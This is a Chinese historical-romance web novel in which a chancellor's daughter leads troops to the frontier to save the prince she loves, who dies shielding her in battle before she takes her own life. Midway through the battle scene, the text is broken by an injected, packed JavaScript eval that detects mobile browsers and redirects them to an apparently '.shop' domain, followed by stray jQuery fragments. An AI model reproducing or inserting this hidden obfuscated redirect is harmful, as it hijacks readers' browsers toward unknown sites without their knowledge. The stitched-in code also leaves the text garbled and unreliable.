大同三年,京城下了一场大雪,鹅绒般的雪花覆盖了整个京城,寂静中整个皇宫处处透露出肃静,这个时刻,无人敢说一句话,就连平时爱嬉笑打闹的宫女和太监都没了踪迹。
白茫茫的金黄色玄武宫殿大门前跪着一位身披粉黛色棉袍的俊俏女子,只见她乌黑浓密的头发上点缀着细小绵密的雪花,如同刚豆蔻年华的女子却有着一头的白发,令人不禁惋惜。
女子朝着石板磕下了头,万籁寂静中,向着玄武大门的方向开了口说道:“臣女薛雪向陛下请求一件事,还请万岁爷能满足臣女,陛下,万岁万万岁!”
万亩宫廷之地,皇家休养之地,何等庄重,何等威严,然霎时竟只能听见薛雪一人的声音,这女子显然身份地位不简单,竟敢冒着灭九族,杀头的风险跪在万岁爷的宫殿前,这不是存心让那位仁慈的万岁爷下不了台面嘛,但话又说回来,这个薛雪到底是谁?
薛雪,乃楚国开国世家大族薛家的子孙,其家族子弟自楚国国君李誉登基以来就遍布朝野,世人皆传当年李誉能从一介小官到最后推翻前朝,背后必定少不了薛家的助力,因此楚国自开国以来,薛家一直是四大家族之首,地位仅次于皇族之下。
薛家家风淳朴,子孙也遵循着祖先的遗愿,一直以来竭尽全力侍奉着楚国历代君主治理这江山,到了薛雪这一代,家门满门忠烈之士,薛雪的阿父是当今朝中的宰相,可谓是一人之下,万人之上不足为过,而阿母则是四大家族中最富有的王家的嫡长女,阿母一共生下了两男两女,薛雪的阿姐则是当今圣上的皇后,中宫之主,母仪天下的薛皖莹。
这说起来,薛雪还是当今圣上的小姨子,但天子自是天子,天子的权威任何人都不能触碰和违背,她也不得另外。
薛雪自是知道自己必是要极力放低自己的姿态去求这位万圣爷,有了他的一丝怜悯,自己才能去救意中人。果然不多时,玄武大门被陛下身边的一个上了年纪的老太监打开了,手中拿了一把油纸伞,快步走到薛雪身旁,打开了伞,用着让人不适的细长又尖的声调说着:“哎呀,薛姑娘,你这又是何苦呢,快快起身吧,陛下让薛姑娘进殿商谈。”
她跟着这老太监进了这金碧辉煌的大门,当今陛下正是李誉的子孙,明崇皇帝——李翦。
晌午当头,宫殿外的缕缕光亮照耀着这大殿,而李翦正坐在龙椅之上睨视着她,薛雪没抬头看皇帝,只是跪在了大殿的中央,两步一叩首,纤细白皙双手举于头顶,“臣女薛雪,有一事求于陛下,还请陛下能看在我薛氏一族为李氏江山立下汗马功劳的份上,答应臣女。”
年轻的皇帝似乎来了兴趣,竟主动问了起来,“哦,朕还挺好奇的,究竟所为何事能让你来跪朕。”
李翦盯着薛雪的发丝,视线落在了她在冬日因严寒而冻得发红的双手,他是知道薛雪如今为什么事而来的,无非是为了他那个远在边境打仗的叔父罢了,一介凡夫俗子竟也引得京城不少名门贵族的女子中意于他,眼前这宰相之女可显也是其中之一罢了。
宫中响起了一声钟声,伴随着冬日紫荆城的寂静一起传入了薛雪耳中,皇帝旁的一众宫人只见殿中的女子抬起了头,对着万岁说:"臣女恳请陛下准我进山南地区,助骆宾王一臂之力。”
“一介弱女子有这魄力,可真不谓是薛氏的子孙啊!”
京城繁华大街上,说书先生一板下去,撞得书桌响起巨大一声竹击声,台下众人纷纷为薛雪的品行喝彩,一时之间都是对薛雪的喝彩之声,唯独只有正对着戏台的那位年轻公子哥面上多了一分愁容,而这人正是户部侍郎董老大人之子——董必。
全身黑服,腰间束着双虎图纹的小厮低身俯身在董必耳边,“大人,陛下确实是答应了薛小姐的请求,并准许了她调动了京城兵力一万余兵力进入山南,说是要助骆宾王一臂之力。”
听着这话的董必竟也不扇手中那把金丝花鸟图案的扇子了,双眉微皱了起来,“看来,阿舟说的没错,这薛家之女真的要出兵山南了,只是这一路必定穷凶险恶,到那时必定生死难料。”
小厮一听自家主子这话,也不由的分忧了起来,“这...那大人这该如何是好?"
董必摇了摇头,叹了口气对着小厮说道:“我答应过阿舟,无论他在山南遇到何事都必定不会让薛小姐前去的,但你刚才也听到了那说书先生说的,这薛雪居然下了如此决心,不惜拿出薛家的开国功劳来以此要挟陛下帮阿舟,我想我也拦不住她的,而且我也并不想阿舟陷入丢掉性命的险境之中,既然如此,你就派一队人马暗中护送薛小姐前往边境之地,记住了,选的人必须个个武功精良,在绝境时护薛小姐一命。”
那小厮听了这话朝董必鞠了一躬,就朝店外走去,店外各方人马络绎不绝,各处都张灯结彩地准备着上元节的到来,此处只有他知薛雪此次前去必定凶险之极。
深夜,漆黑的夜色笼罩着楚国的大地,京城百里之外的深林之中只听的到一阵阵急促的马蹄声,此刻薛雪正带着皇帝赐的一万人马朝着山南地区马不停蹄地疾奔,一霎之间,一际毒箭正朝她射来,还好她早有预料,抽出腰间的小刃直朝毒箭射去,那毒箭直直地被小刃劈开而来落到了地上,带起了微微扬起的尘土。
原本寂静无声的丛林之中,突然冲出了百来个戴着黑色面罩的刺客,他们的目标显然都很明确,都想要薛雪的性命,而不是来攻击她身后的那一万人马。
这些刺客都同时朝着她出剑,纵使她带着一万禁军,也不能在这半刻之间护住她。
千均齐发之时,薛雪听着这群刺客的后头似乎也传来了兵器相交的声音,果然同样也出现了另一批人马正和先前那批刺客相绞杀了起来。不过片刻,薛雪带领着众多人马不费半炷香的功夫就将这百来刺客都给杀了,唯独留了一个活口。
刀架在那刺客的脖子上,薛雪直直地盯着刺客的脸,问他:“说,你受何人指使来杀我!”
这刺客竟丝毫不畏惧死亡,直接把脖子送在了刀上,鲜血从口中流出,呜咽之间,刺客已死。
薛雪知道在这关头,前来刺杀她的必然都是些死士,她也并没有打算能从这些人身上套出些有用的信息来,只是为何还有另一队人马?
正要盘问之际,有一人站了出来对着她行了一礼,开口说道:“薛小姐冒犯了,我们都是董必大人手下的人,受大人的指示,这一路护送着小姐到山南。”
薛雪脸上并未露出一丝神情,只是淡淡应了一声,“既然如此,我便不能拒绝大人的心意了,这份恩情我薛雪记下了,来日定会报答你家大人。”
之后,薛雪重新启程向着山南地区出发,不同的是还带了董必的人,她知道现在当务之急是救出李遇舟,这些刺客的事等她来日有空必定会一一查出,在这京城之中究竟何人这么想要她和阿舟的性命。
军中帐外人声喧嚷,当今楚国皇帝的叔父骆宾王——李遇舟驻守边境山南地界,山南地区自楚国开国国君李誉从边陲小国匈奴手中抢过来以后,就一直属于楚国的版图,但自从匈奴统一后,实力也在不断增强,这几年一直骚扰楚国的山南地界,烧杀抢掠可谓是无恶不作。
李遇舟到此地之时,整个山南地界饥荒遍地,加之匈奴的骚扰,百姓民不聊生,他在此地费了些心思才让此地境况日益好转,匈奴也有所收敛,正当他防备下来之时,匈奴却突然聚集十万大军朝山南袭击,山南的兵也才不过区区三万,兵力悬殊,尽管他率领众将领拼死抵抗,但战事也依旧直转急下。
被困绝境之际,他不得不向朝廷要兵,但书信已飞鸽传信已有一周之余,朝廷始终没有任何回信。
匈奴大军马上就要濒临城下了,军中却没有一丝慌乱情景,众人都做好了拼死一搏的决心。
世人皆传骆宾王率领的“燕家军”有一句口号:燕家军在此,小小野蛮等——死!
皎月当空,边境箫风萧瑟,骆宾王在军帐中正与太傅郭老下棋,只听见快马急冲冲向军中奔跑的马蹄声,帐帘被一士兵掀开,一阵寒风吹入帐中。
“报,骆宾王,薛家二小姐率领京城禁军一万余人来救我们了!”
一棋未落,只见原本神色冰冷的小王爷脸上露出了惊恐之色,王爷站起了身,向太傅告了别,出了军帐外,远远地就看见薛家小姐坐在马上望着他。
王爷这几年在边境早已褪去了当年三皇子的稚气,现在身穿铠甲脸上也多了不少沉着冷静的神色,驻军将士从未看见王爷对谁露出现在的神色。
李遇舟一双眼睛微微低垂着,眉眼没有了冷峻,反而像盛了一汪潭水一样望着薛雪,眼前披穿着粉黛棉袍的女子从马上一跃而下,秀美的衣摆随着她的动作在空中摇摆,薛家二小姐不顾外人的目光跑进骆宾王的怀里,俩人紧紧相拥。
三年不见,李遇舟从京城第一纨绔的三皇子变成了英勇杀敌的骆宾王,而薛雪也从涉世不深的闺阁小姐变成了如今文武双全的薛家“公子”。
当年一别,日月如梭,容貌虽未曾改变,但二人都早已不是当年那人了。
“薛雪,你...你怎么来这了?”
李遇舟轻轻嗅着怀中女子独有的檀香,这气味他已经三年都不曾闻过,每次想起这气味他就会想起这香的主人,现在这人居然在他怀中,李遇舟掐了脸颊,痛得呼哧了一声。
薛雪看见他这个样子,多日忧虑逐渐消散开来,她亲手摸着李遇舟的脸,问他:“王爷你如今可是统领一军的统帅了,怎么还做出如此举动和神情,要是被你手下的士兵看见了,可该如何是好?”
骆宾王没有答,反而在众人的视野下拉着薛家小姐的手进了帐中。
俩人进了军帐,此地没他人,是个说话的好地方,烛光点燃照射出俩人的面容。
李遇舟拉着薛雪的手,开口就说:“山南最近遭匈奴攻打,你不该此时率兵来找我的,你一介姑娘家待在京城这富庶之地多好,山南荒凉,什么都没有,而且我不是让董必拦着你吗?”
薛雪笑着说:“王爷难道你忘了,三年前可是你说,你心悦于我的,难道现在你想弃我吗?”
李遇舟此刻全没一节将帅之风,看着薛雪的样子急急忙忙的说:“没,我从未如此想过,三年前我就许诺过你,此生心悦于你,未曾改变一分。”
“那...阿舟,你就不要再劝我了,我已决意与你共生死。”
烛火晃动,只见这军帐内有一对才子佳人依偎在怀,薛雪躺在骆宾王怀里说着二人的情话绵绵。
李遇舟看着怀里的佳人,好似三年光阴犹如一辈子那么久,俩人都未曾说一字,只是直直的望着对方的容貌。
“阿雪,京城三年,你可还好?”
薛雪看着李遇舟的眉眼,她呼哧的一声笑了笑,“李遇舟,我在京城过的不错,三年时间,我的剑法和骑术都已练的足够出神入化了,要是咱俩再比一场,你可未必会赢我。”
“是吗?那看来薛老想必是把你教的足够好了,这下只怕,他更加不得同意把你许配于我。”
怀中的女子忽然凑近了耳旁,一丝从口中的气流吹进了耳道中,吹得骆宾王白皙的耳垂多了一丝红晕。
薛雪轻声的说着:“李遇舟,我的心意从来都轮不到他人做主,我爹他也不行。”
“如若,这一仗我们打赢了,你就随我回京城,好不好?”
世人皆知原先的三皇子风流倜傥,引得京城无数世家大族的女子暗自倾心于他,可一遭灾祸,现在的骆宾王被贬山南野蛮之地,一心替百姓抵抗匈奴的烧杀抢掠,骆宾王骁勇杀敌,戎马裹尸,镇守边疆。
他也早已不是当年那个李遇舟了。
李遇舟看着怀中女子那一双明月似的眼眸,这世间许多事都已变的沧海桑田,唯独不曾改变的便是当年对薛家二小姐的一番真情了。
早被风雪侵蚀的双眸,坚定的看着薛雪的双眼:“好,这一仗打赢了,我便回京向你爹提亲,到时候就算宰相大人把我腿给打断了,我也跪在他面前,求亲于你。”
女子轻轻地抚摸着李遇舟的唇,只见她说:“好,这一仗我薛雪与你共进退,共生死,即便是生死,我也一同随你。”
李遇舟流着满眼的泪,他同样也说着:“好,我李遇舟与你薛雪共生死。”
匈奴十万大军驻于城门外,城外黄沙漫天,略有几只鸟禽飞翔于这黄沙之中,黑压压的十万匈奴大军在这黄沙之上,犹如一排排站定的弱小蝼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515840|203189||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蚁,骆宾王站立在百丈高的城墙之上,看着眼前的景象。
手下副将沈将军一同站立于旁,“这一仗,也不知道能不能青史留名。”
“青史留名,这一荣耀我从未想过,只要楚国将士死亡不那么重,只要匈奴再也不侵扰我国百姓就好了。”
一袭铠甲在身,李遇舟严峻的双眸直视着前方,他从未想过要打仗,想要的便只有家国安定,和心爱之人安稳的度过这一生罢了。
匈奴将帅一声令下,十万大军朝着南城进攻。
玄红大门缓缓打开,骆宾王在前率领一众将士出城迎敌,薛家二小姐穿着白玄的青马副将战袍,骑着一匹高大的黑色骏马伴于骆宾王左侧。
两方军马对峙于城门外,匈奴大汗高声喊着:“李遇舟,你们的皇帝早已把你和这座城给抛下,与其沦为一颗弃子,不如乖乖投降,我可饶你一命,还能准许你荣华富贵一生。”
“我李遇舟,乃为高宗皇帝第三子,岂能容你蛮族践踏我国的百姓和土地,今日我定要将你们逐出中原。”
李遇舟一人骑一战马,立于楚国大军前,残月悬于城墙之上,太阳悬于头顶,众将士的面容俱暴露在这光下,他们都纷纷看着这位以骁勇善战著称的骆宾王。
他一一扫过每一张脸,最后停留在薛雪的脸上,李遇舟很少笑,但此时他对着这女子露出了他少有的神情。
李遇舟振臂高呼:“众将士听令,一并随我扫清匈奴,还楚国一个太平盛世!”
两方人马冲锋,楚国军队大喊,“冲!冲!...冲呀!”黄沙扬起漫天尘埃,马蹄之声震动天地,刀光溅血之声络绎不绝,血滴落在黄沙之中,黄土的沙不一会竟被染成红色的海,铁蹄所踏之处皆是残肢断臂,尸横遍野,血流成河。
李遇舟一剑刺杀一个匈奴士兵,朝着匈奴大汗直逼而去,刀剑溅出的血落在他那阎罗王的脸上,犹如杀人战神降世,好一个不屈的皇室后代!
匈奴大汗颜如吉看着这样的李遇舟,不得由心底为楚国高宗皇帝有如此子嗣而骄傲,只可惜,这李遇舟是楚国人,他终究必须得死,留着这样的人今后必会为将来带来更大的隐患。
骆宾王骑着军马,挥舞着刀剑,竟离颜如吉不过百丈之内,匈奴大汗察觉局势不妙,立马从后头调动了黑衣人一百余人。
薛雪看见李遇舟前头出现了百来个头戴黑色鬼面的死士,“不好,是鬼面家军,他们怎会来这里?!”
她立即骑着马向李遇舟那边靠近,黑色鬼面后头还藏十来个红色鬼面的死士,这些人都是华山派赵佶所培养的死士,都是一等一的高手,李遇舟的实力不输这些人,可是他再厉害也终不能以一抵十。
颜如吉看着被陷于死士中心的李遇舟,暗自盘算他的死期,却不料一女子骑着黑色军马朝着这李遇舟的方向杀进这圈中。
好一介英姿飒爽的女子!
只见那女子刀起刀落,挡在她面前的士兵一个接着一个倒去,她杀红了眼朝着李遇舟赶去。
颜如吉身旁出现了一个黑衣蒙面人,那人低着头和他低语了几句,沈将军只觉得这人的身形很熟悉,但却怎样都认不出。
那人低垂着头在颜如吉耳边说了几句,颜如吉便立即下令命身旁的士兵向着薛雪刺去。
沈青山顿感不妙,此人必知薛家二小姐是骆宾王的软肋,才出此下策。
战场局面立马倾斜,薛雪身边的敌兵和死士一个一个朝着她杀来,沈青山立马跑去营救她,可惜只过为时已晚。
随着一击刀枪杀来,薛雪左手中箭,跌落战马而下,头冠也不慎跌落,薛家二小姐的发丝就这样在血海中扬起,这一幕真是美极了,世上女子千千万万,却只唯有一个薛雪。
手中刀剑都被打落,薛雪凶狠着看着眼前的这一众将士,她宁可死,也绝不会向匈奴投降!
匈奴敌兵个个都举起手中的刀,他们团团把薛雪围住,只等一声令下,他们就能把这女子的心给剜出。
千钧一发之际,李遇舟以迅雷不及掩耳之势砍过这一众敌兵,他把薛雪牢牢抱在怀里。
薛雪失血过多,还未晃过神来,便只听一击破竹之箭声直穿李遇舟的心。
天地寂静,此声过后,薛雪再无听见其他的声音,只见李遇舟跌跪在她眼前,心口插了一箭,口中吐出股股鲜红的血来,血皆数落在薛雪那件青白色的战袍上。
薛雪大哭,她已全然使不出力气来,只能看着李遇舟挡在她面前抵挡着那些刀剑。
她哭着大喊:“李遇舟,你快让开啊!阿舟,你快让开!!!”
然则,李遇舟身上已中数支刀箭,背后的血痕还在孜孜不倦的往外流出血来,他抬手抹了嘴角的血,恍如当年那个风流的公子哥笑着看着他的心上人,“阿雪,别哭了。”
“阿舟,你不能死的,我不允许!不允许!”
“阿雪,你可记得京城郊外的那棵杨柳树?”李遇舟低缓着声音,倒在薛雪怀里说。
“我当然记得,就是在那棵杨柳树下,你我才得以第一次见。”
李遇舟又吐出一口鲜血来,他接着说道:“当年我离开京城的时候,在那树下埋了一样东西,你记得挖出来看看,那是我对你的心意。”
薛雪披着头发,哭着摇头说:“不,不要!你得跟我一起回去,只有你亲手交于我,我才认的。”
“阿雪,我对不起你,此生能得见你的惊鸿一瞥,我也死不足惜了;若有来世,我...我一定与你执子之手,与子偕老。”
一语说完,李遇舟摸着薛雪的手恍然落下,被薛雪接在手心,最后一眼便是粉墨佳人为他流着泪的样子。
李遇舟心想自己真是该死呀,说好了不会让她流泪的,自己竟也不知食言了多少次。
粉黛佳人一哭,千古罪人,李遇舟觉得自己也是那个罪人。
心道:死后必是囚下之徒,他再也不能去扰这薛家二小姐的名声了,这样也好,薛雪再也不用躲着他了。
后人记载史料:大同三年,楚国骆宾王死于匈奴刀箭之下,薛家二小姐薛雪自李遇舟死后,便自刎而死,明崇皇帝李翦命人将二人尸首一同合葬于南城黄沙陵墓之中,便成千古一桩佳话。